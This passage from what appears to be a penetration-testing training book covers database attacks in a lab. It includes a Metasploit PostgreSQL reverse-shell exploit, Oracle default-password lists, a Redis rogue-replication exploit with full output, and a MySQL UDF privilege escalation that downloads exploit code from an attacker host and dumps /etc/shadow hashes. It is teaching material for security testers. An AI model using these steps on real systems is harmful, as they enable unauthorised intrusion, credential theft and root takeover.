 template1 | postgres | SQL_ASCII | C | C | =c/postgres +
 | | | | | postgres=CTc/postgres
(4 rows)

The c command will connect you to a supplied database. For example, c merchant will connect to the merchant database and present the following information. Notice that the prompt changes to represent the current database.

postgres=# c merchant
psql (11.3 (Debian 11.3-1), server 9.1.2)
You are now connected to database "merchant" as user "postgres".
merchant=#

Once you are connected to a database, you can use d to list or describe the tables (or relations) in that database.

merchant=# d
 List of relations
 Schema | Name | Type | Owner
--------+----------------+----------+----------
 public | payment | table | postgres
 public | payment_id_seq | sequence | postgres
(2 rows)

Now you can use d payment to describe the payment table. Remember that describing a table defines its schema rather than displaying the data. This merchant database and payment table are not the same as those that you saw earlier in the MySQL database. This is a separate database running on a different software instance. To query the database and output the contents of this payment table, you can use a SQL statement just as before.

merchant=# select * from payment;
 id | firstname | lastname | address | cardtype | cardnumber | expiry
----+-----------+----------+--------------------------+----------+------------------+--------
 1 | Tyler | Durden | 1337 Paper St. | VISA | 4104768744176826 | 0119
 2 | Skeletor | Heman | Evil Villain | VISA | 4501356680452382 | 0119
 3 | Bruce | Wayne | Batcave, HQ, Gotham City | VISA | 4652356038230743 | 0119
 4 | Ted | Bill | Excellent Adventure | VISA | 4638815478682704 | 0119
 5 | Dade | Murphy | ZeroCool Labs | VISA | 4415830173618407 | 0119
(5 rows)

Here we see more personally identifiable information. Once again, this should be bought to the immediate attention of any client for whom you are working. You'll see just from experimenting with PostgreSQL client commands that it behaves quite differently than MySQL. Now you should attempt to use some SQL statements as you did with MySQL and become familiar with using the PostgreSQL client. Next, you will run a Metasploit exploit to break out of this database and into the host operating system through the use of a UDF.

Escaping Database Software


You have been able to gain access to a database, and you have explored its schema and contents. Your next step is to see whether there is a way to break out of the limited system context of the database, into the underlying operating system, and gain access to the file system at a minimum. One way to do this would be to search for and exploit known vulnerabilities. Try using Metasploit to find exploits that will work against the version of PostgreSQL running on the book lab.

A common exploit to use against PostgreSQL post-authentication is the postgres_payload exploit. This module can perform exploit CVE-2007-3280, which describes a vulnerability that allows libc (a programming library for system programmers using C) to be used in UDFs. The exploit makes use of writing files into the /tmp location when creating UDFs from shared object files that map to libc. As you've seen, shared objects can be useful, and in this case, they will allow you to access a shell as the user running the database software. This will typically be a user such as postgres or nobody. This is the Linux user that frequently (by default) is used to launch the PostgreSQL service.

You will need to set the RHOSTS and RPORT options for this module. Remember to set a payload that you can select using show payloads. You will use a reverse payload in this exercise. Be sure to set the LHOST option to your Kali Linux VM's IP address, and remember to check the module’s information and options before proceeding. To better understand this exploit set VERBOSE to true for a detailed explanation of the attack including the SQL statements used as it is executed. You will see that the PASSWORD and USERNAME options are already set for this module and that they're also correct. This shows that these particular default credentials are commonly left unchanged by system or database administrators. Here's the result of successfully running the module:

msf5 exploit(linux/postgres/postgres_payload)> exploit
 
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.104:5433 - PostgreSQL 9.1.2 on i686-pc-linux-gnu, compiled by gcc-4.6.real (Debian 4.6.2-5) 4.6.2, 32-bit
[*] Uploaded as /tmp/eyfFxqsw.so, should be cleaned up automatically
[*] Sending stage (36 bytes) to 192.168.56.104
[*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.104:46580) at 2019-07-23 16:51:45 +0100
 
id
uid=106(postgres) gid=110(postgres) groups=110(postgres),109(ssl-cert)

Successfully exploiting the vulnerability with Metasploit should result in a remote shell on the affected PostgreSQL server. Use the id command to see which user you are on the target host. In our example, you will see that you are the postgres user. Escalating privileges to root will be your next step. Remember to spawn an interactive session for job control and a pseudo teletype interface python -c 'import pty;pty.spawn("/bin/sh")' and source your profile . /etc/profile in preparation for attempting any privilege escalation attacks. We will demonstrate one using this shell as our starting point later in this chapter.

Oracle Database


Oracle offers a range of database products (MySQL is just one of them) including its simply named Database (often referred to as “Oracle”), a propriety RDBMS. You may come across older and newer versions of this database, all of which are infamous for their default username and password combinations, often left unchanged after setup. A quick search online should yield a list of such username and password combinations for you. Table 11.1 shows an excerpt of default users and passwords taken from the Oracle9i Database Online Documentation, hosted at docs.oracle.com.

Many of these users would be deactivated automatically, but not the SYS, SYSTEM, SCOTT, and DBSNMP users. It was left up to the DBA to change the passwords for these accounts, which meant that many were left as is. Hacker House has not encountered an Oracle Database that we weren't able to access using one of the many default usernames and passwords!

Table 11.1 Default Oracle Database usernames and passwords

USERNAME PASSWORD
SYSTEM MANAGER
SYS CHANGE_ON_INSTALL
ANONYMOUS ANONYMOUS
CTXSYS CTXSYS
DBSNMP DBSNMP
LBACSYS LBACSYS
MDSYS MDSYS
SCOTT TIGER
XDB CHANGE_ON_INSTALL

Oracle runs a TNS listener service that is used to interact with the database on TCP port 1521. It will look similar to this in your port-scan results, which identifies itself as a legacy Oracle 9i instance:

1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0

You can interact with this TNS listener service using a tool called tnscmd10g. For older versions, you may need to use a Perl script: tnscmd.pl. tnscmd10g and tnscmd.pl are bundled with Kali Linux and can be used to send commands to a TNS listener service that help perform enumeration of the database configuration. Oracle databases often require enumeration of the System ID (SID)—a unique identifier given to each database on a host—to establish a connection, though some default SIDs like TSH1 are commonly in use.

A security control that many Oracle DBAs undertake is renaming and removing the default SIDs to prevent an attacker attempting to connect, mistakenly believing that this will prevent attacks. You will need to use Oracle SID enumeration tools found in Metasploit, for instance, in cases where this happens, such as when you do not find a valid SID. In such cases, you will not be able to attempt to authenticate to the database software. A now-defunct Java scanning tool called oscanner can automate the process of testing for default password combinations to gain access, providing that you have a valid or default SID. You can find this tool in the Kali Linux repository, or you can make use of a number of Metasploit alternative modules that achieve the same task.

An example of running oscanner to enumerate the default accounts SCOTT, SYS, SYSTEM, and DBSNMP—all privileged on the database—is shown here:

root # ./oscanner.sh -s 192.168.56.22 -P 1521
Oracle Scanner 1.0.6 by [email protected]
--------------------------------------------------
[-] Checking host 192.168.56.22
[-] Checking sid (TSH1) for common passwords
[-] Account CTXSYS/CTXSYS is locked
[-] Account DBSNMP/DBSNMP found
[-] Enumerating system accounts for SID (TSH1)
[-] Successfully enumerated 29 accounts
[-] Account HR/HR is locked
[-] Account MDSYS/MDSYS is locked
[-] Account OE/OE is locked
[-] Account OLAPSYS/MANAGER is locked
[-] Account ORDPLUGINS/ORDPLUGINS is locked
[-] Account ORDSYS/ORDSYS is locked
[-] Account OUTLN/OUTLN is locked
[-] Account PM/PM is locked
[-] Account QS/QS is locked
[-] Account QS_ADM/QS_ADM is locked
[-] Account QS_CB/QS_CB is locked
[-] Account QS_CBADM/QS_CBADM is locked
[-] Account QS_CS/QS_CS is locked
[-] Account QS_ES/QS_ES is locked
[-] Account QS_OS/QS_OS is locked
[-] Account QS_WS/QS_WS is locked
[-] Account SCOTT/TIGER found
[-] Account SH/SH is locked
[-] Account WKSYS/WKSYS is locked
[-] Checking user supplied passwords against sid (TSH1)
[-] Checking user supplied dictionary
[-] Account SYS/SYS found
[-] Account SYSTEM/SYSTEM found
[-] Account WMSYS/WMSYS is locked
[-] Account XDB/XDB is locked
[-] Account WKPROXY/WKPROXY is locked
[-] Account ODM/ODM is locked
[-] Account ODM_MTR/ODM_MTR is locked

Once you have identified the TNS listener, the first step to take with Oracle databases is to identify a valid SID using tnscmd's or Metasploit's modules. Once the SID is identified, you can begin testing for common accounts. After one of the numerous default accounts has been obtained, you are able to proceed with exploitation of the database, just as you would with MySQL. You will need a valid Oracle client (such as Oracle instant client, a non-free but widely available software tool for connecting to Oracle services). Enumerate the database schema, review the contents of the database, attempt to escalate privileges, and then escape to the host OS. Escaping to the host OS is possible under Oracle installations when Java capabilities are enabled, and they work much like any UDF function exploit—that is, requiring some development code to be placed on the server to enable a shell.

Oracle is also notoriously vulnerable to database privilege escalation where you can inject P/SQL into functions within the default stored procedures to turn non-DBA accounts into privileged DBA accounts. We could write an entire book on Oracle insecurities (and David Litchfield has done exactly that) due to the varied and numerous ways in which these exploits can be performed. Hacker House's experience is that we have never failed in compromising an Oracle installation due to the prevalence of default accounts and the large number of privilege escalation attacks that exist in the stored procedures of the software by default.

We have shown here the basic steps needed once a TNS listener is identified. However, it is well worth your time to install a copy of Oracle 9i or Oracle 10g and try some of the more advanced database privilege escalation exploits that are possible through the abuse of internally stored functions. You will find hundreds of examples in the Exploit Database (www.exploit-db.com) for earlier versions of Oracle, and David Litchfield is credited with the discovery of the vast majority of these issues. If the Oracle installation has a Java VM installed, then it is often possible to upload a user-defined function written in Java to gain command execution on the host OS.

MongoDB


MongoDB (www.mongodb.com) is designed to take advantage of modern technology for speed-through memory access of objects, and it is often configured to use no password. Malicious Internet attackers employ scripts to scan for such password-less databases that are left exposed with a public IP address, make their own copy of the database, and then delete the original data. Then they'll leave a single table with some information on how to pay a ransom (using Bitcoin or some other cybercurrency) to get the data back. Unfortunately, this happens to a lot of new or startup companies that are just beginning their Internet journey—perhaps growing quickly and not always keeping their systems as secure as they should. There are often nice web interfaces and APIs for interacting with these NoSQL databases; for example, our earlier Nmap scan identified a MongoDB http console running on TCP port 28017. Browsing to this in a web browser will give you additional information on the MongoDB instance and the information it contains. The use of MongoDB is fairly straightforward. Since it is often configured without a password, it is an attractive target for data thieves searching for an easy payout.

Redis


Redis is another NoSQL database that makes use of modern advances in computer memory to achieve high-speed database access through the use of key storage and object values. Redis databases are particularly good targets for brute-force attacks because of their improved high-speed access. Even when password-protected, Redis databases allow for thousands of password attempts per second. Hydra has a module for this purpose that you should try against the book lab, or your own Redis install on a different VM, to see how quickly you can obtain a password from a Redis instance.

Redis is another example of a NoSQL database that uses its host's memory, rather than a file system for storing data. Brute-force attacks can be used against the AUTH directive if it was even set up. Without this in place, there is simply no password. You may find that your client is using a Redis database on an internal network without any authentication.

A Redis database will probably be accessed by a web application that would need to “know” the password, but the password certainly does not need to be used or remembered by employees. Redis is commonly used to store user session information for web applications. That same web application might use another MySQL database for storing things such as blog posts, photos, and user comments, but the use of a fast NoSQL database like Redis will generally improve overall performance when used for something that is quickly required for use, such as tracking user sessions. Session tokens will need to be updated frequently every time a user logs in or out or a session reaches its expiration, for instance. Redis is well suited to that particular task.

Redis has its own command-line client called redis-cli, which you should explore and use when you come across a Redis instance.

Redis is also susceptible to a post-authentication UDF type issue in versions between 4.x and 5.0.5, an attacker who gains access to Redis can leverage the database replication features, creating a rogue Redis service, and requesting the compromised database connect to their malicious Redis service to load code. Upon connection the malicious Redis instance instructs the connecting instance to load a shared object .so containing the attackers code. The attack requires that the Redis database can connect to the attacker’s malicious server on a TCP port to begin the replication process and uses the MODULE LOAD features of Redis to run the attacker’s supplied code. A number of exploits exist that can take advantage of this vulnerability including modules found within Metasploit. As exploits for this issue require building a shared library, they typically must be run from the same target architecture as your target, our book lab is vulnerable to this issue and runs on a 32-bit or x86 architecture. We will use an exploit from Github (github.com/vulhub/redis-rogue-getshell ) to exploit this issue as the Metasploit module is ineffective against 32-bit systems, you will also need to run this attack from a 32-bit Linux VM when targeting our book lab which may require you to download a 32-bit Kali ISO if you do not have one already installed. First download the exploit using wget from www.hackerhousebook.com/files/redis-rogue-getshell.tgz. You will then need to decompress the archive and compile the shared object for use in the attack which can be done with the following commands.

tar -xvzf redis-rogue-getshell.tgz

cd redis-rogue-getshell

make -C RedisModulesSDK/

You should now have a file “ exp.so” located in the RedisModulesSDK directory which will be loaded by Redis using the MODULE LOAD command during database replication. The database replication process is performed by a Python script redis-master.py. To run the exploit, you must supply a number of arguments of the format shown here.

python3 redis-master.py -r <Target IP> -L <VM IP> -f RedisModulesSDK/exp.so -a <AUTH password> -c <CMD>

When this attack succeeds, you should see output similar to the following, note the highlighted commands executed on the target system.

>> send data: b'*2
$4
AUTH
$5
redis
'
>> receive data: b'+OK
'
>> send data:
b'*3
$7
SLAVEOF
$14
192.168.11.137
$5
21000
'
>> receive data: b'+OK
'
>> send data:
b'*4
$6
CONFIG
$3
SET
$10
dbfilename
$6
exp.so
'
>> receive data: b'+OK
'
>> receive data: b'*1
$4
PING
'
>> receive data:
b'*3
$8
REPLCONF
$14
listening-port
$4
6379
'
>> receive data:
b'*5
$8
REPLCONF
$4
capa
$3
eof
$4
capa
$6
psync2
'
>> receive data:
b'*3
$5
PSYNC
$40
0fc8cac7421420dd698fa69f27296cce640e1e91
$1
1
'
>> send data: b'*3
$6
MODULE
$4
LOAD
$8
./exp.so
'
>> receive data: b'+OK
'
>> send data: b'*3
$7
SLAVEOF
$2
NO
$3
ONE
'
>> receive data: b'+OK
'
>> send data:
b'*4
$6
CONFIG
$3
SET
$10
dbfilename
$8
dump.rdb
'
>> receive data: b'+OK
'
>> send data: b'*2
$11
system.exec
$11
id;uname -a
'
>> receive data: b'$125
uid=116(redis) gid=123(redis)
groups=123(redis)
Linux hacklab01 3.16.0-4-586 #1 Debian 3.16.36-1
(2016-07-04) i686 GNU/Linux

'
uid=116(redis) gid=123(redis) groups=123(redis)
Linux hacklab01 3.16.0-4-586 #1 Debian 3.16.36-1 (2016-07-04) i686 GNU/Linux
 
>> send data: b'*3
$6
MODULE
$6
UNLOAD
$6
system
'
>> receive data: b'+OK
' 

Privilege Escalation via Databases


Let's look at an example of how you can get root on a machine where you have been able to break out of a database, or by way of command injection, and have gained some interactive shell access. For this demonstration, we will continue from where we left off, having gained access as the postgres user by exploiting CVE-2007-3280 and using a UDF. We will be manually exploiting the same type of issue but leveraging a misconfiguration to gain root access in a second software database.

We can look at the kernel version at this point using uname -a, or we can do a search for local files, using scripts such as linux-privesc-check. For this exercise, however, we'll make use of another RDBMS running on this host—MySQL.

You should have a prompt that looks like the following if you've just run the postgres_payload exploit for CVE-2007-3280 (shown earlier) and you've upgraded your shell to one with job control and a pseudo teletype (PTY) interface. You also should have sourced the profile to configure your paths.

postgres@dbserver01:/var/lib/postgresql/9.1/main$

Whenever you manage to get a shell on a target Linux host, a useful yet simple command that you can run is ps -aef. According to its man page, ps will “report a snapshot of the current processes.” This means you can see what processes are running on a host where you've managed to obtain a foothold. If any of these processes are running as the root user and if there is a corresponding service that you are able to access, then those services are worthy of further investigation for attacks.

The following is an extract of the output provided by ps when run against our vulnerable database server. Notice how several of the different database processes are being run by corresponding Linux users. Look at the top item in the list. This process was started by the mongodb user, has a process ID (PID) of 837, and was launched by the command / usr/bin/mongod --config /etc/mo. You can be pretty sure that this is a MongoDB daemon, and there's nothing obviously wrong based on what we see here.

UID	PID	PPID	C	STIME	 TTY	    TIME	CMD
mongodb	837	   1    0	15:43	 ?	00:00:06	/usr/bin/mongod --config /etc/mo
www-data	925	 922	0	15:43	 ?      00:00:00	/usr/sbin/apache2 -k start
root     1038	   1    0       15:43    ?      00:00:00        /usr/sbin/cron
redis    1072        1    0       15:43    ?      00:00:01        /usr/bin/redis-server /etc/redis
postgres 1101        1    0       15:43    ?      00:00:02        /usr/lib/postgresql/9.1/bin/post
root     1109        1    0       15:43    ?      00:00:00        /bin/sh /usr/bin/mysqld_safe
root     1151     1109    0       15:43    ?      00:00:00        /usr/sbin/mysqld --basedir=/usr
root     1152     1109    0       15:43    ?      00:00:00        logger -p daemon.err -t mysqld_s
postgres 1173     1101    0       15:43    ?      00:00:00        postgres: writer process
postgres 1174     1101    0       15:43    ?      00:00:00        postgres: wal writer process

Notice, however, that there are three processes running as the root user, and the command contains mysqld, which is the MySQL daemon. This means that the MySQL instance on this host is running as the Linux root user. This is a potentially serious issue, as an attacker who takes control of the MySQL process could escalate their privileges to root. Where the PostgreSQL daemon is running as the postgres user and gave us a shell as this same user when exploited, if we can find a vulnerability in the MySQL service, we should be able to get a root shell. This means that when the daemon was started, the user started it as the root user rather than creating a separate mysql user, for example, and then ran the process under that user instead.

This was the default behavior of MySQL and MariaDB for many years until they forcefully changed it to run as a lower-privileged user during the install. The reason for this change was due to a popular privilege escalation method on affected web servers. Attackers would compromise a web server through some form of injection attack, typically landing on the host as www or nobody. Then they would exploit the MySQL database to obtain root privileges on the host system. Because of its prominence and abuse by hackers, the MariaDB and MySQL software now installs as a low-privileged user by default. Nevertheless, you still see some administrators giving the database software root permissions when it does not need them.

We'll exploit that misconfiguration fact now by manually using a UDF exploit so as to help you better understand how Metasploit gave us a shell on PostgreSQL earlier. If you already know what you're looking for with the ps command, you could pipe your results to Grep to narrow down your search. Here's an example:

ps -aef | grep root

For this next exploit to work, you will also need to be able to read and write to the target's /tmp directory. This is a commonly used directory for exploitation purposes because it is often readable and writable by any user. You could write to it through the database software itself, but we will do so from our shell for simplicity.

Change to the directory using cd /tmp and then try to create a file: touch foo. Check this file's permissions using ls -l foo. As expected, you can see that the file belongs to the postgres user. Also, it is only readable and writable by this user, and this poses a problem should another process attempt to access the file. You can view and change the default permissions given to files by a particular user (or more accurately the current process) on creation using the umask command, which changes the file mode creation mask (known as the umask). The umask determines which permissions new files will have.

Enter the command umask 111, which will effectively change the postgres user's umask to 0111 (the leading 0 is not required when specifying a new mask, as when using chmod). Now create a file called foo2 using touch foo2. Check the file mode bits for this file, and you'll see that it is readable and writable by anyone on the system; that is, it has the permissions 666. A file mode creation mask is just that, a mask—it is not the default values to which files will be set but a logical operation that is applied. It is necessary for the MySQL database to be able to write files and read files in the /tmp directory that we will create. You'll see why soon enough. A commonly used secure umask is 077 which creates files as read and write for the user only, a more useful and widely used alternative is umask 022 which will create files as readable by all users on the system. You should set the postgres user to use umask 022.

You are now going to use some code written in C, which is obtainable from www.hackerhousebook.com/files/raptor_udf2.c. It was created by an Italian hacker known as Marco Ivaldi, with whom one of the authors has enjoyed competitive exploit-release races over the years. He is an expert in Solaris exploitation and has produced a number of excellent exploit resources. It is worth your time to browse through his work for additional learning.

Leaving your Metasploit session open in one terminal window or tab, download this exploit to your Kali Linux VM in another terminal. You will need to transfer the exploit from your Kali Linux VM to the target. This time, we will try using Python's SimpleHTTPServer module, which can be launched as follows on your Kali Linux machine. Run this from the same directory into which you have downloaded the raptor_udf2.c file:

python -m SimpleHTTPServer

You should see the following output:

Serving HTTP on 0.0.0.0 port 8000 …

You now have a web server listening on TCP port 8000 of your Kali Linux host. You can use this to serve files over VirtualBox's host-only network to your vulnerable or target VM. From your Metasploit session, which should still be running in another tab or window, use Wget to download the exploit to the target vulnerable machine as follows:

wget http://<KaliLinuxIP>:8000/raptor_udf2.c

You should see output similar to the following if the server is running, and you can see that the file you've requested exists on the server (in the same directory where you ran the Python SimpleHTTPServer command):

--2019-07-23 17:02:11-- http://192.168.56.102:8000/raptor_udf2.c
Connecting to 192.168.56.102:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3178 (3.1K) [text/plain]
Saving to: `raptor_udf2.c'
 
100%[======================================>] 3,178 --.-K/s in 0.01s
 
2019-07-23 17:02:11 (218 KB/s) - `raptor_udf2.c' saved [3178/3178]

A corresponding message will appear underneath your Python command, which shows that the server received a GET request along with the IP address of the client and date and time of the request.

192.168.56.104 - - [23/Jul/2019 18:09:21] "GET /raptor_udf2.c HTTP/1.1" 200 -

You could also have used Netcat to conduct this file transfer or used Metasploit as a means of transferring the file. So far, we've covered a few examples of file transfer over a network.

This raptor_udf2.c exploit works in a similar way to the Metasploit module ( postgres_payload) that you ran earlier, but you will need to perform several steps manually this time around. Another key difference is that it targets MySQL, not PostgreSQL. Remember that you want to obtain root access now, and the way to do that is through the MySQL daemon, which is running misconfigured as the Linux root user. You may not be able to exploit this issue on MySQL when it is not running as root, as it often requires the ability to read and write into a privileged file path on a Linux host. This is possible only when MySQL is running as root.

As with postgres_payload, this exploit will create a shared object on the target machine in the /tmp directory. The exploit is currently in source code form, so you can view it, which should be done anytime that you download attack code from the Internet. Once you've reviewed the source code and are satisfied that the code is legitimate and not a malicious backdoor, you will need to compile this file on the target machine. However, you do not want a regular executable file—you want a shared object. Make sure that you are running these next commands on the target system. This first command launches the GNU C compiler, which has an epic number of possible options (check out the man page) and will output a file called raptor_udf2.o without any indication that it has done so.

gcc -g -c raptor_udf2.c

The .o file is the compiled object, ready for linking and preparing for use as a system executable or a shared library file as in our case. Now create a shared object from this file using the following command:

gcc -g -shared -o raptor_udf2.so raptor_udf2.o -lc

Entering unfamiliar commands like this can be tricky, especially when you're entering them on a machine that you've just compromised. Those of you who took the trouble to read the source code for this exploit will probably have realized that manually entering the command is not necessary—the command is contained within the source code as a comment. Instead, use the cat or less command to output the source code to the terminal and then highlight the line to copy and paste it. However, if copy and paste does not work correctly for you, as is the case for scores of Linux users out there, manually inputting the information will achieve the same result. If you run ls -l rap*.so, you will see that you have three files now: the source, the .o file, and a .so file.

-rw-r--r-- 1 postgres postgres 3178 Apr 30 2018 raptor_udf2.c
-rw-r--r-- 1 postgres postgres 3372 Jul 23 17:17 raptor_udf2.o
-rwxr-xr-x 1 postgres postgres 6121 Jul 23 17:30 raptor_udf2.so

It is extremely important that you review the file permissions on the .so file that was created. If you do not have world-readable permissions, then the MySQL process will fail to read the file, and this can cause the exploit to fail after completing all of the steps. This is a common pitfall that many Hacker House students have fallen into, and it requires restarting the exploit process again from here, along with some cleanup of the failed attempt.

Launch the MySQL client, but this time on the target host using the same username root and password as before. You do not need to specify a host, as you are on the target machine accessing the local MySQL instance.

mysql -u root -p

You should have a mysql> prompt now. You can also exploit this same issue remotely and connect to the MySQL service from your Kali instance, though in the real world, it's more likely that you will not be able to connect directly to the MySQL service port and instead would use the tools on the target system. To continue with this exploit, you should follow the instructions that have been provided in the exploit's source code comments. We'll show and explain them here too. You may need to modify slightly the instructions to work on each system you target.

You will need to use the mysql database, so your first command is use mysql. You should see the “Database changed” message. Create a new table in this database called foo. It will have a single field called line of type blob. The SQL statement for this is as follows:

CREATE TABLE foo (line blob);

You will actually load the shared object that you compiled (which is a binary file) into this database table. As we mentioned at the beginning of this chapter, databases can be used to store all kinds of data, including binary objects, and we can certainly use this to our advantage. If you were to use the describe command to check the table that you just created, you'd see the following:

+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| line | blob | YES | | NULL | |
+-------+------+------+-----+---------+-------+
1 row in set (0.00 sec)

Using the INSERT SQL command and the MySQL load_file function, you can insert your shared object into this table. The command you should use is not identical to the command shown in the usage section of the source code. You will need to change the file path as shown here, because that is where the shared object is located on the target system:

INSERT INTO foo VALUES (load_file('/tmp/raptor_udf2.so'));

You should see a confirmation message like this:

Query OK, 1 row affected (0.01 sec)

If the shared object was successfully loaded into the table, then running SELECT * FROM foo; will result in a lot of unintelligible output. What you don't want to see is that the table still contains a NULL value, which means that the file was not loaded. This usually happens because of the aforementioned permissions problem.

Now the contents of that field can be dumped into another file. We're doing this to write to a directory on the target host that we were unable to write to as the postgres user. That directory is the /usr/lib directory. This is a kludgy yet necessary way to copy the shared object from /tmp to /usr/lib. If you do try to write to the /usr/lib directory as the postgres user, using touch /usr/lib/foo, for example, you'll see a Permission denied message.

touch: cannot touch `/usr/lib/foo': Permission denied

The shared object must be stored in the /usr/lib directory for MySQL to load it, and fortunately this is possible because of the MySQL process running as the Linux root user giving us the ability to read and write files as root. Dump the binary data (the shared object) from the foo table into a file using the dumpfile function, as follows:

SELECT * FROM foo INTO dumpfile '/usr/lib/raptor_udf2.so';

There is only one record in the foo table, with a single field, which is why this select * command works. Again, you'll see a Query OK message. You could verify that the file /usr/lib/raptor_udf2.so and the file /tmp/raptor_udf2.so are identical using a command like diff.

diff /tmp/raptor_udf2.so /usr/lib/raptor_udf2.so

If you get no output from this command, you're good to go. If there is a difference, you'll see something like this:

Binary files /tmp/raptor_udf2.so and /usr/lib/raptor_udf2.so differ.

You could also use sha256sum or ls -al to compare the file size and hash to check that they are identical.

If there is a difference between the two files, then the file you have written will not be usable for the exploit. You should check the permissions and validate that MySQL was able to read your .so file. Additionally, you will not be able to write to the same file twice using MySQL—a caveat that is unavoidable. As such, you will need to repeat the entire process again but choose an alternative name for your /usr/lib shared object, such as raptor_udf3.so.

Now that the shared object is in the /usr/lib directory, it can be used to create a new user-defined function. The usage guide for this exploit suggests a name of do_system for the UDF, since it will allow you to run system commands. These commands will run with the permissions of the MySQL database, which in this case are root permissions. Functions should always return a value (that's true whether defining a function in C, MySQL, or other any programming language), which is why you see the returns integer as part of the following command:

CREATE FUNCTION do_system RETURNS INTEGER soname 'raptor_udf2.so';

You should again see the familiar Query OK message. This indicates that it has created the do_system user-defined function within MySQL, and when this function is used in a statement, it will execute the code supplied in the .so file. You can confirm that the UDF exists with SELECT * FROM func;, which should show the following:

+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

All that is left to do now is to run your new UDF, which you can do with the following syntax:

SELECT do_system('<Command>');

You might try running the id command with SELECT do_system(‘id'); to confirm that you really can run commands as the root user, but the result might not be exactly what you expected.

select do_system('id');
+-----------------+
| do_system('id') |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.01 sec)

The function did what it was supposed to do and returned an integer value of 0, indicating a success. Remember that you are seeing the results of SQL statements—queries—inside the database, rather than the direct result of commands inside a shell. To see the results of your system commands, you'll need to output them to a file. The following shows the id command again, but with the output redirected to a file called out in the /tmp directory. The ownership (and group) of this file has also been changed to postgres so that you can read it.

SELECT do_system('id > /tmp/out; chown postgres:postgres /tmp/out');

To see the result of the id command, view the contents of the /tmp/out file ( cat /tmp/out), and you should see the following:

uid=0(root) gid=0(root) groups=0(root)

Why not try this command next?

SELECT do_system('cat /etc/shadow >> /tmp/out');

You've now found another way to access this VM's shadow file. Here are some hashes from our vulnerable database server, which will differ from the ones you see and that you can attempt to crack later:

postgres:$6$DiGsFg4S$zdTDX1sFO/rHjXk6rPMdWJ1Zv4Qx5ggZk7ZSGdZSi/Qt2U9JicWbIBkeei7S6XwiP8xXWEiDjkNnH7qgg3T4s.:17257:0:99999:7::: database:pAW8DmFCBqEmo:17257:0:99999:7:::
support:Dzww5H11RySYc:17257:0:99999:7:::
dba:VxfFM75hxlM0g:17257:0:99999:7:::
fredh:zQkVXUNL7/FuM:17257:0:99999:7:::
tomt:YySNBbemZW8pI:17257:0:99999:7:::
craigd:JjGYckqNwTlGU:17257:0:99999:7:::

To get an interactive shell, try using Netcat to send a shell back to your Kali Linux VM, where you'll need to have a Netcat listener waiting. You can find examples of this in earlier chapters, and it will work in the same way here. However, the do_system function may appear to hang until your Netcat session is completed.

Note that this exploit works only if the database is running with root permissions, something that was changed in more recent versions of MySQL and MariaDB because of the widespread exploitation of this issue. However, many system administrators mistakenly believe that databases should be running as root and give excessive permissions because of the earlier default behavior.

Summary


In this chapter, you were introduced to SQL and using command-line clients to navigate RDBMS such as MySQL and PostgreSQL. These relational database management systems use subdatabases to store metadata, which describes the actual data within a database. This is typically sensitive data that your client is storing and wouldn't want unauthorized users to access.

We gave you steps to obtain username and passwords for both the MySQL and PostgreSQL instances so that you could easily explore them and learn some basics. Generally, it won't be this easy to get access to a database (although it's always worth trying default usernames and passwords and credentials you find lying around). Brute-force attacks should be used sparingly, but Hacker House frequently targets databases with these types of attacks once an account lockout policy has been established.

DBMSs, whether relational or not, are like any other software programs in that they have histories of known vulnerabilities that you should be checking using version information that you find. It may be possible to bypass authentication completely using a public exploit or to break out of a database to get a shell as a user on the underlying operating system with a Metasploit module. You should always check for such possibilities. You should also be familiar with performing this process manually, as shown in our MySQL example, as often the prebuilt exploits will fail due to slight configuration differences in the database that you are targeting. The more you learn about databases, the more advanced your abuse of them will become.

You need to be comfortable browsing and manipulating data in a database using the command line. You also need to be confident with SQL syntax and commands, which you'll find extremely helpful when testing web applications. This will help you to find, exploit, and understand SQL injection vulnerabilities. In the next chapter, we'll show you exactly how to exploit a web application that is vulnerable to SQL injection.

In the “Privilege Escalation via Databases” section of this chapter, we showed you how to run commands as the root user by exploiting a MySQL daemon that was running as root. Once again, we made use of a shared object, which was loaded into the database, to create a UDF.

The PostgreSQL Metasploit exploit also used this same approach, creating a UDF from a shared object stored in the /tmp directory. It just removed the implementation details and simplified the process for you. Understanding how Metasploit modules function and the processes they perform will give you a significant advantage as a security tester, enabling you to make alterations to the process and remove configuration errors that prevent exploitation.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.149.213.209